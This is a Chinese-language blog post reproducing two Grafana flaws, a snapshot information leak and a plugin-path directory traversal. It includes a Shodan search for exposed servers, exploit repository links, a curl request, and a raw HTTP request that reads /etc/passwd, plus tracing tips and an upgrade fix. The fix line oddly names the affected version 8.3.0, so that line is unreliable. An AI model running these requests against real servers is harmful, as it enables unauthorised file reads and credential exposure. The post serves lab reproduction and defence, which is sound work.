CVE-2021-39226信息泄露、CVE-2021-43798 Grafana任意文件读取漏洞复现

CVE-2021-39226信息泄露、CVE-2021-43798 Grafana任意文件读取漏洞复现

漏洞简述

Grafana是一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。

CVE-2021-39226 Grafana 存在授权问题漏洞,该漏洞源于在受影响的版本中,未经身份验证和身份验证的用户都可以通过访问快照路径,造成敏感信息泄露。

 CVE-2021-43798 这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。

影响版本范围

CVE-2021-39226

  • Grafana<=7.5.11
  • 8.0.0<=Grafana<=8.1.6

CVE-2021-43798

  • 8.0.0-beta1 <= Grafana < 8.0.7
  • 8.1.0 <= Grafana < 8.1.8
  • 8.2.0 <= Grafana < 8.2.7
  • Grafana == 8.3.0

Shodan 搜索语法

http.favicon.hash:2123863676

漏洞exp

https://github.com/Mr-xn/CVE-2021-43798

https://github.com/jas502n/Grafana-CVE-2021-43798

漏洞环境搭建

CVE-2021-39226 和 CVE-2021-43798 有存在交集的版本,可同时复现两个漏洞。

docker run -d -p 4000:3000 grafana/grafana:8.1.0

初始用户名和密码为admin/admin。

CVE-2021-39226信息泄露

Grafana 存在授权问题漏洞,该漏洞源于在受影响的版本中,未经身份验证和身份验证的用户都可以通过访问路径:

  • /dashboard/snapshot/:key
  • /api/snapshot/:key

来查看具有最低数据库键的快照。如果快照 \”公共模式 \” 配置设置为 true (而默认为 false),未经身份验证的用户可以通过访问路径:

  • /api/snapshot-delete:/deleteKey

来删除快照,并使用最低的数据库键。无论快照是否设置 “公共模式” ,通过身份验证的用户都可以删除快照.

漏洞利用

curl http://target.com:3000/dashboard/snapshot/:key

快照中存在akid

CVE-2021-43798任意文件读取漏洞

利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:

alertlist
cloudwatch
dashlist
elasticsearch
......
stackdriver
table
text

主要是grafana默认安装的插件。再发送如下数据包,读取任意文件,也可以将其中的插件名称换成其他合法的插件id。

GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3000
Connection: close

溯源排查

  • snapshot/:key
  • ../../../../

grafana默认没有访问日志,如果有套Nginx或者用docker进行访问,可以排查关键词。

docker logs

修复方式

Grafana => 8.3.0

建议升级该组件至最新版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论